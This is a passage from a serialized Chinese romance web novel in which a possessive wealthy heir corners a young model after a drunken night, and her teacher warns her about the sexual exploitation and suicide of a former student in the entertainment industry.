昨晚上的事她可是记得清清楚楚,这才过多久啊黎云笙就追过来了,该不会是因为自己送了黄瓜,或者是黎云笙想起了什么才追过来的。 温栩栩想捂脸,想装自己没看到黎云笙。 实在是很想逃了。 “Sara老师我今天就练到这里,有什么其它问题你随时微信联系我……我这就先走了。”话落人已如受惊的兔子般往后门窜去可前脚才迈出去,下一秒就被男人揪住了后衣领,轻松将她拽回原地。 这个男人!真的很喜欢揪她后衣领啊! 好烦好烦好烦。 温栩栩满脑子都是好烦却不敢哔哔。 毕竟送黄瓜的是她。 “跑什么?”黎云笙低沉的嗓音在耳畔响起,带着若有若无的戏谑。 他微微俯身,温栩栩能闻到雪松香里混着淡淡的薄荷烟味,他应该刚抽过烟,但却并不难闻,大概因为她觉得黎云笙身上总是很香所以带了点滤镜。 这危险的距离让她浑身紧绷,后颈的肌肤因衣领被扯而泛起细密的凉意。 她硬着头皮转身,挤出个尴尬的笑:“哈哈,黎少……您怎么来了?是来找Sara老师的吗?” 话音未落,眼角余光瞥见Sara正倚在门边看戏,嘴角噙着意味不明的笑。 温栩栩更窘了,恨不能找个地缝钻进去。 “找你。”黎云笙的回答简洁得让人心悸。 他松开衣领,指尖却顺势滑到她腕间,温热的触感让温栩栩触电般缩手。 他松了松力道,温栩栩顺势跌进他怀里,后背抵上他坚硬的胸膛。 这距离近得能数清他衬衫第二颗纽扣上的暗纹,她浑身僵直,连呼吸都屏住了。 Sara倚在门边,指尖无意识地摩挲着茶杯边缘。 她眯眼打量这对“身高差悬殊”的人。黎云笙将近190的身高将温栩栩罩得严严实实,像株挺拔的松树下蜷着朵怯生生的白茉莉。 有意思,真有意思。 这位向来对模特不假辞色的黎总,如今却像只逮住猎物的豹子,连揪人衣领的姿势都透着股别扭的独占欲。 黎、黎少……”温栩栩终于挤出声音,尾音抖得像是被风吹散的蒲公英。 她试图后退半步,却被黎云笙另一只手扣住手腕,但对方温热的掌心裹住她冰凉的手指。 第1006章 你觉得现在跑,来得及? “昨晚的事……”男人忽然开口,喉结滚动时蹭过她耳尖,激起一阵战栗,“你是不是需要跟我好好解释解释?” 温栩栩脸“唰”地涨红,耳尖烫得能煎鸡蛋。 她慌乱摆手:“那、那只是个意外!黎少您别往心里去……” 话音未落,黎云笙突然倾身逼近,近得能数清他睫毛的数目。 温栩栩甚至能感觉到他呼吸间的热气拂在脸颊,心跳快得要冲出嗓子眼。 “意外?”黎云笙的尾音勾成危险的弧度,指节漫不经心地摩挲着她被揪皱的衣领。 他忽然倾身逼近,温热的呼吸扫过她耳尖,“如果只是意外,为什么还让人特地给我送了一盘嫩黄瓜?” 温栩栩还特地让华庭的员工叮嘱说那是嫩黄瓜,也不知道是嘲讽,还是真觉得他嫩。 温热的气息裹着雪松香,像无形的蛛丝缠上她的脖颈。 温栩栩的耳廓瞬间烧成绯色。 成年人九成九都懂的隐喻在胸腔里炸开,她甚至能听见自己擂鼓般的心跳。 那些暗示、那些暧昧,此刻被黎云笙用暗哑的嗓音撕开最后一层遮羞布。 他分明在逗她,像是逗一只手足无措的猎物。 “那什么……不然让我先换个衣服再说呢?刚练完台步走了很久,身上有汗,不太好闻呢。”她扯出一个干笑,指尖无意识地揪住衬衫下摆。 刚练完台步的肌肤泛着薄汗,锁骨处还留着训练时被衣料摩擦出的红痕,像雪地里零星的梅瓣。 这提议不过是垂死挣扎,她只想逃,想看看自己能不能趁机开溜。 温栩栩干笑一声。 她看着有点无辜可怜的劲儿。 黎云笙微微眯眸,盯着她看了几眼。 就在温栩栩以为黎云笙打算放自己走的时候,就见男人凑近。 干什么? 温栩栩有点懵。 黎云笙忽然抬手,指尖若有若无地擦过她发烫的耳垂。 温栩栩浑身一凛,僵在原地。 男人的拇指按上她后颈,力道轻柔得像是触碰易碎的瓷器,却又不容抗拒地将她的脸转向自己。 他的眸光在此时变得晦涩,墨色瞳仁在光影交错中泛起涟漪,但那双眼睛实在漂亮,温栩栩都有些忍不住看呆了一瞬。 “你身上……”他忽然俯身,鼻尖抵在她发梢。 温栩栩的呼吸彻底凝滞,能清晰感受到他喷洒在肌肤上的气息,带着某种野兽般的占有欲。 他嗅得很慢,从发丝到颈侧,温热的鼻息拂过每一寸肌肤,仿佛在品尝某种珍馐。 那是淡淡的花香,像初夏清晨沾露的茉莉,清甜中裹着欲说还休的暧昧。 “还是很香。”他低笑出声,喉结滚动时擦过她下颌。 温栩栩几乎要跌进他怀里,手指无意识地蜷缩成拳。 她是不是又被黎云笙耍流氓了? 这个念头在脑子里炸开,可是……也没人告诉她被耍流氓好像也挺爽的? 温栩栩自己都觉得自己有病。 大概……大概觉得爽完全因为这人是黎云笙吧。 如果换别人,温栩栩只想动手,甚至可能来一记断子绝孙脚的。 温栩栩抬眸,还是不可避免的被男人这张俊美的面容所吸引。 他近在咫尺的脸部轮廓锋利如刀,下颌线条绷出冷硬的弧度,可那双眼睛却烧着暗火,那种望向猎物时才有的、克制又汹涌的渴望。 怎么她又成猎物了? 她忽然发现自己的手腕还被他攥着。 黎云笙的掌心温度极高,甚至能透过布料烙进皮肤。 他垂眸盯着她裸露的手腕,那里有训练时被高跟鞋磨出的淡红,像白瓷上晕开的胭脂。 温栩栩这才惊觉自己方才慌乱中扯开了领口,锁骨以下大片肌肤暴露在外,甚至能感觉到他目光的重量,沉沉地压在上面。 “黎少……”她试图后退,却被男人另一只手扣住腰际。 他忽然将她整个人抵在墙面上,温栩栩的脊背撞上去,被凉的倒抽一口凉气,却听见黎云笙在耳畔轻笑:“跑什么?你不是说身上有汗,不好闻?” 他的唇几乎要贴上她的耳廓,温热的吐息裹着危险,“可我闻着,倒是比什么都诱人。” 又在发疯了! 温栩栩满脑子都是黎云笙又在发疯。 他此刻的模样,像极了醉酒后神志不清的模样,偏偏那双眸子又亮得惊人,仿佛浸了酒的墨,深不见底。 她屏住呼吸,指尖无意识地蜷缩,连空气都变得粘稠起来。 忍了半晌,终究是没忍住,小声嘟囔:“你是不是还没醒酒?” 他这副样子,实在与昨晚醉醺醺发疯的模样别无二致。难道正经人喝醉酒后都会变成这副德行? 温栩栩暗自腹诽,却忘了黎云笙清醒时也没多正经,不过是换了个方式折腾人罢了。 黎云笙闻言,忽然眯起眼睛,指尖捏住她一缕发丝,像把玩某种珍贵的绸缎。 “所以我昨晚醉酒后都做了什么?”他问,尾音拖得极长,带着慵懒的钩子。 温栩栩:“……” 温栩栩喉头一哽,舌尖在齿间打了个转。 这算什么?秋后算账? 她唇角抽动,恨不得咬掉自己方才多事的舌头。 “那个……要不还是先让我换身衣服吧?”她试图转移话题,手指不自觉地揪住被汗浸湿的衬衫下摆。 黎云笙冷笑,修长的指节扣住她的手腕,力道不轻不重,却让人逃无可逃。 “你觉得现在跑,来得及?”他凑近,温热的气息拂在她耳畔,带着淡淡的酒香与雪松气息。 温栩栩扯了扯他的衣袖,有点讨好道:“你就在这里等着呢,我还能逃跑吗?我就算现在能跑,等秀场的时候也是跑不掉的,谁不知道黎家在帝城只手遮天呢,真的真的不会跑的!” 虽多也就是躲一躲,延后一段时间嘛。 温栩栩内心理直气壮,但面上却不显分毫。 黎云笙盯着她看了几秒,片刻后抬手敲了敲她的头,轻声道:“温栩栩,如果你真的敢跑,我会让人把你关起来,我说到做到。” 温栩栩:“?” 第1007章 身上的味道和他的味道一样 不是吧?现在明明没醉酒,怎么比不醉酒的时候还变态? 她舌尖抵住上颚,忍了又忍,终究是没压住翻白眼的冲动。 温栩栩满脑子都是黎云笙现在又在发疯了。 “我去洗澡顺便换衣服,大概半小时左右。”她这次是真怕黎云笙给自己绑走关起来了,老老实实的报备。 黎云笙这才松了手,唇角勾出个似有若无的弧度,像是满意了,表示自己听到了。 温栩栩松了口气去了训练室旁边的浴室,毕竟是黎氏专门给模特们准备的训练场地,浴室自然高档。 更衣室的门合上时,温栩栩终于能松口气。 可镜子里映出的自己,耳尖通红,脖颈处还留着方才被他捏过的指痕,像被人用朱砂轻轻点过。 她拧开水龙头,任由冷水冲刷发烫的脸颊,却怎么也浇不灭那抹烧灼感。 黎云笙在外面等得极有耐心,指节有一搭没一搭地敲着墙面。 温栩栩换衣服时,刻意将动作放得很慢,慢到能听见自己擂鼓般的心跳。 她套上干净衬衫的瞬间,门缝忽然透进一道目光,黎云笙不知何时将门推开了一条缝,正倚在门框上,眸光锁在她身上,像是猎人盯着终于入网的猎物。 “磨蹭这么久,是在等我帮你?”他轻笑,声音里裹着丝危险的戏谑。 温栩栩手一抖,衣扣险些没系严实。 她慌忙抬头,却见他眼底的醉意不知何时褪了大半,取而代之的是清醒到近乎锐利的深意。 那目光一寸寸扫过她锁骨,最后停在她慌乱躲闪的瞳仁上,仿佛要将她所有心思都剖开来看。 为什么跟黎云笙一起自己总会有种会随时跟黎云笙上演十八禁的错觉啊! “我、我这就好了。”她结巴着后退半步,后背撞上冰冷的瓷砖。 黎云笙却忽然逼近,将她困在臂弯与墙壁之间。 他的呼吸缠上来,“温栩栩,你逃不掉的。”他低声呢喃,指尖抚上她发颤的睫毛,像是触碰最易碎的琉璃,“就算你躲到天涯海角,我也能把你找回来。” 温栩栩的睫毛在他掌心颤如蝶翼。 她仰头看他,只见他眼底的墨色愈发浓稠,像是要将她溺毙在其中。 黎云笙清醒着,清醒地看着她,清醒地宣告他的占有。 她忽然想起昨晚他醉时说的胡话,那些模糊不清的“别走”,此刻竟与这眼神诡异地重叠。 “半小时到了。” 她仓皇推开他,逃也似的往外走。 黎云笙却从身后扣住她的腰,将人带进怀里。 温栩栩的背脊抵上他滚烫的胸膛,听见他胸腔里传来的轻笑,低哑道,“逃什么?” 他咬着她耳尖,“你身上,现在连沐浴露的香味都带着我的味道。” 温栩栩整个人明显愣了下,似是没明白黎云笙这话的意思。 黎云笙幽幽的看她几眼,片刻后才开口,“你进去洗澡前我已经让保镖换了我常用的牌子。”? 不是? 你猜到她要去洗澡所以故意的? 真的很变态啊黎少! “你……你是不是提前知道我要去洗澡?”她声音里带着自己都未察觉的颤音,像是被拆穿的小兽。 黎云笙低笑,指节顺着她后颈的弧度轻轻滑下,“你说呢?”他嗓音里的慵懒裹着丝危险的甜,“温栩栩,我的耐心有限,尤其是在你身上。” 温栩栩又想翻白眼了,但还是忍住了,不然被这人看到又要被教育。 对方完全无视温栩栩此刻的目光,伸手揪住她的后衣领。 怎么总喜欢揪她后衣领! 温栩栩都想开闹了,可恶。 偏偏对方力气大,身份又摆在这里,闹的话,反倒显得她有点不识抬举了。 温栩栩抬手揉了揉眉心,又去偷偷看身旁的男人,却正对上男人漆黑的目光,吓得她一激灵,赶紧收回目光。 “怎么总揪我后衣领?”她试图转移话题,声音里带着几分委屈。 黎云笙轻笑,指尖力道重了几分,将她更往怀里带了带。“因为这样能让你逃不了。”他咬着她耳尖,热气混着冷冽的雪松气息灌进她耳蜗,“温栩栩,你要听话才可以。” 温栩栩气得想跺脚,可偏偏黎云笙的身份如一座山压在她肩上。 她只能咬唇瞪他,却在对上他淬火般的目光时,又怂得垂下眼帘。 就在两人僵持温栩栩以为自己要被黎云笙就这么强行掳走的时候,Sara的敲门声打破了这窒息的沉默。 “黎少,我这边还有点事要交代,能麻烦你先让温栩栩跟我过来一趟吗?” Sara的声音透着急切,温栩栩仿佛抓住救命稻草,立刻挣开黎云笙的桎梏。 Sara说话的时候目光还落在温栩栩身上,显然是在看温栩栩有没有被欺负。 温栩栩此刻简直是身心俱疲啊。 其实她跟黎云笙在一起的时候也不一定是黎云笙欺负她吧,说不定是她欺负黎云笙呢。 她内心还有点不服气呢。 不服气归不服气,但Sara有工作方面的事情需要交代,温栩栩就想开溜了。 黎云笙却忽然扣住她手腕,拇指在她腕骨上碾了碾。“半小时。” 他嗓音低沉,带着不容置疑的警告。温栩栩逃也似的跟着Sara进了办公室,关门时,还能感受到那道目光如刀刃般刺在脊背。 Sara一进门便拧眉打量她,目光在她脖颈处顿了顿,那里隐约留着黎云笙方才掐出的红痕。 “栩栩,你没有被黎少强迫吧?”她语气凝重,指尖无意识地敲着桌面。温栩栩被问得愣住,头顶瞬间冒出无数个问号。 “他有前科吗?”温栩栩实在是想问,不然为什么韩城觉得自己会被欺负,Sara也觉得自己会被欺负呢。 黎云笙这人不是清清白白干干净净的吗? 就是人有点变态罢了。 Sara沉默了片刻:“黎少跟其她异性确实都没什么交集,但你不一样啊,你看你长成这样,黎少会喜欢那很正常的。” 温栩栩被夸爽了。 是的是的,她就是这么漂亮! 温栩栩都想叉腰得意了。 第1008章 被他迷住了? 见她这副模样,Sara实在是有些心累,想让温栩栩长点心,但温栩栩这都快变成点心送到黎云笙嘴里了还没感觉呢。 这死孩子。 “你是不是觉得黎少长得好看所以被他迷住了?”Sara确实是不得不承认黎云笙长得好,任谁见了黎云笙都要夸一句好相貌。 他的相貌还不是盛景炎那种,盛景炎是一看就知道有一水儿的桃花,黎云笙是一看就洁身自好那种类型了。 温栩栩虽然不说,但Sara也猜得到,大概就是这么个原因了。 “你这孩子,心怎么这么大?黎云笙的手段可不是闹着玩的,他若真对你动了心思,你迟早……”Sara没说完的话被温栩栩打断。“说不定是我欺负他呢!”她不服气地嘟囔,想起黎云笙醉酒时那副脆弱模样,心底莫名泛起一丝涟漪。 Sara摇头苦笑,这孩子明显还没意识到危险。 她正欲再劝,温栩栩却忽然灵光一闪:“韩城也说我会被欺负,你们是不是都知道些什么?” Sara这次沉默得更久,久到温栩栩手心都开始沁汗。 “黎云笙的‘干净’,只是因为他从未让任何人靠近过他的世界。”她终于开口,语气里带着几分隐忧,“而你,是第一个被他允许触碰底线的人。” 温栩栩愣在原地,黎云笙那些霸道到近乎偏执的举动,真的是因为她是唯一被允许进入他世界的人吗。 有点……怎么说呢,温栩栩自己都觉得有点离谱。 可好像事实是这样。 Sara看着温栩栩那双澄澈的眸子,喉间的话像块烧红的炭,烫得她不敢轻易吐出口。 她深吸一口气,指尖无意识地摩挲着茶杯边缘,那杯早已凉透的茶,就像她此刻的心情,沉甸甸地坠在胃里。 这个傻姑娘根本不知道,她那张漂亮脸蛋儿在圈子里意味着什么。 明艳的容貌,艳若灼阳,却又带着股蛊惑人心的冷,像极了深山里勾人魂魄的妖,美得惊心动魄,却也危险至极。 “栩栩,我知道你心里多少是有点不甘的。”Sara看她这副模样叹了口气,“但黎少的身份摆在这里,你们的差距不是一星半点,只是你们之间的差距就能说明很多问题。” 她想起不久前那个倒在血泊里的女孩,也是这般倔强,也是这般不肯低头。 温栩栩的眉眼间那股不服输的劲儿,和那个女孩重叠在一起,搅得她心口发疼。 “他现在是对你有兴趣,可那兴趣能维持多久?一个月?半年?还是一年?”她攥紧茶杯,力道大得指节发白,“富家公子哥的‘兴趣’,从来不是喜欢,更不是爱,那是猎人看到猎物时亮起的眼睛。” Sara的眼底泛起水光,声音里掺了丝哽咽:“他们这些公子哥对你有兴趣,就能像捏死蚂蚁一样让你完全失守。你能想象当你最爱他的时候,对方却像扔破抹布一样甩开你,甚至把你当玩物送给别人是什么下场吗?”她想起那些藏在酒会暗处的交易,想起那些被灌醉后丢进豪车的女孩,喉咙像被塞了团棉絮,堵得发慌。 “栩栩,我不想给你讲太多圈子里面的腌渍事,但你也该知道些。” “赵云河你应该听说过吧?”她突然抬头,眼神里面都带着冷意,“这人是赵家人从小疼到大的金孙,含着金汤匙出生,要风得风要雨得雨。这位少爷从小到大没谈过恋爱,直到遇见那个参加选秀的女爱豆,他们是彼此的初恋,可你以为这两人会有什么好结局吗?” 她顿了顿,手指在茶杯上画着无意义的圈,“一开始他确实喜欢她,甚至为她推掉了几场重要的家族聚会。可娱乐圈是什么地方?是吃人不吐骨头的深渊啊!那位少爷见过太多漂亮女人,新鲜劲儿一过,就厌倦了。” 温栩栩的指尖掐进掌心,指甲陷进肉里。 她想象着那个女孩从云端跌落的过程。 曾经被捧在手心的宠爱,突然变成沾了毒药的匕首。 “不过一年时间,赵云河就甩了她。”Sara的嗓音越来越冷,“可你知道吗?他在圈子里名声大,他玩过的女人,那些纨绔子弟都有兴趣‘收藏’。娱乐圈的那些导演、制片人,甚至商圈的老狐狸,都像闻见血腥味的鲨鱼,他们不把她当人,只当被赵少爷用过的玩具。” 温栩栩的呼吸骤然急促。 她见过娱乐圈的光鲜,却从未触碰过那层华服下的腐肉。 此刻Sara的话像把刀,剖开了那层遮羞布,露出底下爬满蛆虫的伤口。 “她被赵云河那样喜欢过,分手后有一段时间郁郁寡欢,甚至不肯接工作。”Sara眼眶通红,声音抖得像风中残烛,“她以为只要躲起来,就能逃过那些肮脏的手。可太天真了……圈子里的人最擅长逼人就范。” “最初得手的是个颇有名望的大导。”Sara的指尖抠进掌心,在皮肤上掐出月牙形的印子,“对方用一部大制作的电影资源做诱饵,她急需翻身,就答应了却没想到对方在她的酒里加了东西,得手了。她大爆了,成了炙手可热的新星,可也因为太出名,更多人盯上了她。” 温栩栩的耳朵嗡嗡作响,仿佛听见无数道贪婪的目光黏在她身上,像蛇信子舔过皮肤。 “那些人想的都是……尝一尝被赵少爷玩过的女人是什么滋味儿。在他们眼里,女人分三六九等,是货物,是资源,是可以随意玩弄的玩具。” Sara的喉头滚了滚,泪水终于砸在桌面上,洇湿了文件边角。“她孤身一人没有资本撑腰,被一个又一个浪头拍下去。半年前她终于扛不住自杀了。”她哽咽着说不出话,只能死死揪着衣角,“自杀前她给赵云河打过电话,接听的是他的未婚妻。他已经订婚了,早把她忘得一干二净。” “这或许就是压倒她的最后稻草,她打那通电话其实应该没想跟赵云河复合,她自己应该也知道现在对赵云河不会有什么影响了。她只是想问赵云河能不能帮帮她,她不想继续被那群欺辱了。但到底没能扛过。” 第1009章 他们把女人当筹码 因为她的话温栩栩的瞳孔剧烈震颤。 “她……她只是想求他帮帮她,温栩栩猜得到答案,却不敢承认。 那个女孩到死都没等到救赎,因为她爱的男人早已把她当垃圾丢掉,而圈子里的人却因为她曾属于赵云河,更加兴奋。 Sara抹了把眼泪,颤抖着握住温栩栩冰凉的手。“栩栩,你的脸比她还漂亮,还危险。你只会引来更多豺狼虎豹。” 她死死盯着温栩栩的眼睛,仿佛要把所有警告刻进她眼底,“黎云笙现在对你有兴趣,可他的身份比赵云河更可怕。他是站在食物链顶端的人,能轻易碾碎任何反抗。如果你真的陷进去,到时候被那些老狐狸盯上,连求饶的机会都没有!” 温栩栩的后背渗出冷汗。 她想起黎云笙那些近乎病态的占有,醉酒时扣着她手腕的力度,指尖在她颈侧游移的温度,以及他眼底那团化不开的暗火。 原来那不是爱,是猎人给猎物下的饵。 “我……我不会陷进去的。”她听见自己说,声音却虚得像飘在空中随时可能消散的烟雾。 黎云笙的影子已经缠在她身上,怎么甩都甩不掉。 Sara突然捂住脸痛哭出声:“三年前那个女孩,她和你一样倔,一样漂亮,一样不肯低头。她最后被那些老东西玩弄得生不如死,临死前求我救她,我却无能为力……” 她的哭声像把钝刀,一下下割在温栩栩心上。 温栩栩的指尖发颤,她明白Sara的担忧不是空穴来风。 Sara看着她有些忧心的开口:“赵家在帝城确实是顶流世家,但这些世家也是分阶层的,赵家只能算是最低端的,黎家、盛家、傅家、刑家、顾家、韩家这些才算是真正的一流世家,而黎云笙的身份你也是清楚的,如果你真的跟黎云笙有了什么关系,盯着你的人会更多。” “温栩栩,她好歹还有家人为她奔走申诉求一个真相,可你呢?你甚至没有朋友,你无父无母,如果黎云笙厌倦了你,等待你的将是比那个女孩更惨烈的结局,那些世家老怪物会把你当‘黎少玩剩下的玩具’,像分尸盛宴般轮流撕碎你!你能承受被剥去尊严,沦为权欲交易的筹码吗?” 温栩栩有些愕然。 她确实没有听说过圈子里那些腌渍事。 现在Sara说的这些确实是吓到她了。 世家之间的阶层分明如刀削斧凿,她不过是飘在食物链最底层的浮尘,而黎云笙却是翱翔在云端的神祇,连指尖流下的露水都能淹死她。 Sara当时对她说对男人长点心,怕是就是因为知道了这件事。 那个女爱豆不就是变成了男人口中的点心,被一点点吞入腹中,其它人也蜂拥而至想尝味道,他们根本没有把女人当做正常人,对他们来说女人就只有这点用处。 温栩栩的耳膜嗡嗡作响。 她想起昨夜黎云笙吻她时指尖的滚烫,此刻却觉那是烙铁在皮肤上灼烧。 世家子弟的“兴趣”从来不是爱情,而是驯兽师对猎物的把玩。 他们用资源织成金丝笼,用权势铸成铁锁链,将鲜活的生命变成任人宰割的玩偶。 那个女爱豆的悲剧不是偶然,而是这个腐烂圈子的必然结局。 男人将她当点心般递来送去,对他们来说女人不过是裹着糖衣的毒药,尝过滋味儿后就会丢掉,说不定私下还会聚会调侃那些女人的滋味儿。 Sara的眼泪砸在桌上,溅起苦涩的水花:“那个女孩的家人至少能花钱消灾,为她奔走!可你身后空无一人,连反抗的力气都没有!你以为黎云笙的温柔是救赎?那是更深的深渊!他今天能宠你如珠玉,明日就能弃你如敝履,而那时,所有觊觎你的豺狼都会撕开伪善的面具!” 温栩栩此刻终于看清自己所处的修罗场。 没有家族庇护,没有资本撑腰,仅凭一张惊世骇俗的脸,她不过是待宰的羔羊。 那些藏在暗处的世家权贵,可能正用饥渴的目光丈量她的血肉,计算着她沦为玩物的价值。 Sara嗓音沙哑,眼底泛着血丝:“外面那些人总说漂亮女人吃尽红利,可他们心里比谁都清楚——漂亮是原罪。会被故意欺骗感情,被灌醉后扔进权贵的房间,被狗仔偷拍裙底,甚至在酒杯里、饭菜里下药……真正吃尽红利的是男人!他们把女人当筹码,赢了名利,输了就抛弃你。” Sara看着温栩栩的眼神都透着明显的伤神和无奈。 她似乎是真的很难过。 因为那位自杀的女爱豆曾经是一名和温栩栩相同身高的女模特,她是被人从这里选出去的,所以Sara对她的事很清楚,当初女爱豆的家人求到她这里,还是她给女爱豆的家人介绍的律师,她为这件事走动,但最后不还是无法撼动那些人分毫。 所以普通人如果可以不接近那些人是最好的结果。 她凑能猜得到温栩栩不会有什么好结局的。 她看到温栩栩就像看到曾经的学生,当初她也是真心期盼对方能幸福,但现实却是狠狠的给了她一耳光。 她像个蠢货一样,看着自己的学生被人玩弄,却根本无法反抗。 所以她不希望温栩栩也步入这样的结局。 她指尖颤抖着抚过温栩栩的发梢,仿佛在触碰易碎的琉璃:“躲着他们些,你要聪明一点。” 那眼神里藏着深不见底的伤神,温栩栩分明看见她瞳孔里浮动着另一个身影,那位自杀的女爱豆。 身高和她一样172,纤细如竹,也曾站在这片光影交织的舞台上,笑得像不谙世事的蝴蝶。 Sara的记忆被撕开一道血淋淋的伤口:“当时她的家人跪在我面前求我救她时,我连律师的名片都递不出去。那些世家子弟在酒会上谈笑间就把她‘送’了出去,律师函在他们眼里不过是擦屁股的纸。最后连尸骨都捞不回来……”她的哽咽声卡在喉间,化作一声悲呛的咳嗽。 第1010章 本来也是个“小渣女” 温栩栩抱住她时,感受到她肩胛骨下绷紧的颤抖,像一座即将崩塌的山。 “普通人不接近他们是最好的结果。”Sara松开温栩栩,后退半步,目光却仍黏在她脸上,“每次看你练习,我都觉得像看见她站在镜子前。当年我也像你一样天真,以为凭努力就能趟过这片血海……结果呢?我像个蠢货一样看着自己的学生被人玩弄,连报警都做不到。”她突然捂住脸,泪水从指缝渗出,“他们连律师都能收买,连媒体都能封口,我们算什么?” 温栩栩的恍惚被这泣血的自嘲刺醒。 她知道Sara的难过不仅是为那个女孩,更是为所有被吞噬的“漂亮女人”。 她们是资本宴席上的甜点,是世家博弈的棋卒,连尊严都成了可交易的筹码。 但温栩栩的脊梁却在此刻悄然挺直,她回抱住Sara的力度像在发誓:“放心好了,我不会出事的,我会好好的。” 她知道Sara这么担心自己,大概也是透过自己看到了那位女爱豆。 Sara脸上带着几分涩意,似是不太明白温栩栩这话中的意思。 温栩栩却忽而翘起唇角,眸底漾起一抹狡黠的笑意。 她指尖无意识地摩挲着训练室的金属栏杆,阳光透过玻璃窗斜斜洒在她脸上,碎金般的笑容里竟透着几分少年般的俏皮“我和黎云笙之间还说不定谁渣谁呢。” Sara听到这话都颇为迟疑,温栩栩还是那副有点骄傲的模样。 “你这话,我怎么不太懂呢。”Sara是真的不懂。 “我跟韩二少啊……”她故意拖长尾音,眼尾微微上挑,仿佛藏着什么得意的秘密。 “Sara老师,你知道韩城吧就是那个韩二少,我跟他可是兄弟,就算我跟黎云笙之间真的有了矛盾他也不会不关我的,韩城的人品你总该信得过。” Sara被她这副模样逗得一愣,眉间愁云不自觉淡了几分。温栩栩的笑意更深了,梨涡在脸颊绽开。 Sara心里那点伤感劲儿因为温栩栩提到韩城而颇为无语。 不无语不行啊。 韩城的人品,那确实有口皆碑。 少爷特别高尚,有女明星去他房间,就是故意想勾搭他,结果少爷直接给人披上衣服送出来,估计连根头发丝都没少,那女明星其实也是被逼的,韩二少觉得人可怜,给了点资源,结果真有人以为对方爬床成功了,也是那女明星运气好,爆火了,才提到韩城这一茬,说是感谢韩城。 就因为这事儿,圈子里谁提起韩二少不说句光正伟大啊。 还有人评价韩城虽然是个商二代,但越看越红,这就该是个红二代红三代才对。 温栩栩又想起自己跟着韩城参加酒会的时候确实也有这种情况,还是前两月的事情。 “您不知道吧?上个月韩城在酒会上碰见个硬往上扑的女明星,那姑娘衣领都快扯到腰际了,韩城直接把人裹进大衣里,像拎只醉猫似的扔进保镖怀里。那个女星也确实是没办法了才想求韩城帮忙的。转头还塞了部电影资源过去,说‘姑娘家别糟践自己,好好拍戏比什么都强’。”她学着韩城那副吊儿郎当又正气凛然的腔调,逗得Sara噗嗤笑出声。 温栩栩倒是想起韩城那晚在包厢里拍胸脯保证的模样,他就倚在金丝楠木沙发上,指尖转着翡翠扳指,吊儿郎当地说:“栩栩妹子要是被哪个瘪三欺负了,我立马绝对开着我的迈巴赫过去给你撑场子。”那混不吝的语气,配上他眼底冷冽的精光,倒真像极了旧时代里护犊子的军阀。 “那你要说的韩城的话,你在圈子里应该还是很安全的。”Sara语气听着都有些无奈。 Sara望着她这副鲜活模样,心头酸涩与欣慰交织。 温栩栩笑起来时眼瞳亮得惊人,像浸了星子的墨玉,让人忍不住想相信她真有翻云覆雨的能力。 她叹了口气,无奈中带着纵容:“韩二少那人……确实是个怪胎,也确实是能护住你。” 娱乐圈里谁不知道韩城?商贾世家出身,却活得比红三代还正。 有世家子弟在他面前炫耀“刚睡了个三线小花”,他当场摔了酒杯,冷笑:“人姑娘要是你亲妹,你还笑得出来?”自此再无人敢在他面前提腌臜事。 “有他在,你至少不会——”Sara话说一半,喉头又哽住了。 温栩栩却抢过话头,笑意更明艳了几分:“至少不会‘尸骨无存’对吧?”她故意用了Sara之前的措辞,眼波流转间带着俏皮的挑衅。指尖却突然攥住Sara的手腕,力道轻柔却坚定:“您放心,Sara老师。我温栩栩既进了这圈子,就做好了披甲上阵的准备。韩城是盾,黎云笙……”她眼底忽而掠过一丝寒芒,“如果真敢把我当玩物,那我也会让他知道我不是吃素的。” Sara看她这副模样终于也是忍不住轻笑一声。 这样很好,起码不用担心温栩栩在圈子里受到伤害了。 也是她那个学生没有这样的运气啊,如果当初她也有韩城这样的人护着,也不会落得那样的下场了。 不过这样温栩栩在圈子里面也算有人可以依靠了,韩城的身份地位摆在这里,有些人想要动温栩栩怕是也需要掂量下。 Sara是真的在为温栩栩高兴了。 Sara将温栩栩叫到跟前时,眼底还残留着未散的忧虑。 她指尖无意识地摩挲着咖啡杯釉面,温热液体在杯底晃出涟漪:“黎云笙的事……你且记着,千万别被那张脸迷了心智。”话音未落,她忽而自嘲地嗤笑一声,“瞧我这话问的,你身后有韩城护着,又岂会栽在情爱上?”她想起温栩栩那张狐狸似的笑脸,狡黠中藏着刀刃,分明是个在情场里游刃有余的主儿。 她把温栩栩叫来也就是想提醒温栩栩小心些黎云笙,不要真的恋爱脑上头。 现在都知道温栩栩身后有个韩城了,再加上温栩栩本来也是个“小渣女”,那她也没什么好担心的了。 第1011章 还不过来,是等我过去? “星黛儿新秀的资料发你了,你回去好好看下,其实不看也没事,不过走秀的时候早点到,你本来就不是专业的模特,因为连着给星黛儿走秀已经有人开始不满了,也要小心些。” 有些人确实是在嚼舌根,不过温栩栩的身份摆在这里,有黎云笙在身后那些人也只敢嚼舌根不敢做更多了。 如果是那些没有身份背景的,现在怕是已经被人欺负死了,说不定走秀的衣服都可能被人故意弄坏。 温栩栩垂眸凝视平板,新秀们的照片在屏幕上流光溢彩。 她忽而轻笑出声,指尖点在某个女孩烈焰红唇的肖像上:“这位林芷若,听说私下给星黛儿设计总监送过翡翠镯子?” Sara挑眉,眼底闪过一丝惊讶,温栩栩却已敛了笑意,眸色沉静如水:“Sara姐放心,我会让她们知道,翡翠镯子砸不出通天路。” Sara知道温栩栩不是吃素的,便也不担心她了,温栩栩心里有数就好。 “行了,没有其他的问题了,你出去吧,别让黎少等太久。”现在Sara完全不担心温栩栩和黎云笙交往了。 反正就算真的在一起后分手,那还有韩城呢。 不过,Sara又想到了点别的。 “先等下。”Sara喊住温栩栩,“黎家其实也不算多太平黎家有人看不上黎少,黎家的老太太也是想独揽大权,可能对你会有点影响,也可能会想见你让你笼络黎云笙,你自己小心点,不过你现在跟韩城关系近,他们应该还不想跟韩家撕破脸。” 这种事温栩栩的确不知道。 “您说的我都记下了。”她起身时裙摆扫过地毯,临出门前,Sara忽而补上一句:“韩城虽能镇外敌,但黎家内斗……云笙未必能护你周全。”温栩栩推门的手一顿,却未回头。 她只将发梢一缕碎发别到耳后,唇角笑意如初见的明媚:“山雨欲来,我自会备好遮挡风浪的雨伞。” 她谢过Sara后轻掩办公室门,走廊的冷白灯光霎时将她笼罩。 皮质高跟鞋踩过地毯的声响在寂静中格外清晰,直到拐角处那抹黑色身影闯入视线。 黎云笙斜倚在墨绿天鹅绒长椅上,指节分明的手正握着手机,屏幕冷光映得他下颌线条如刀刻般锋利。 听到门开的刹那,他倏然抬眸。 那双瞳眸幽深得似能吞尽所有光线,温栩栩甚至错觉他眼底有暗潮涌动。 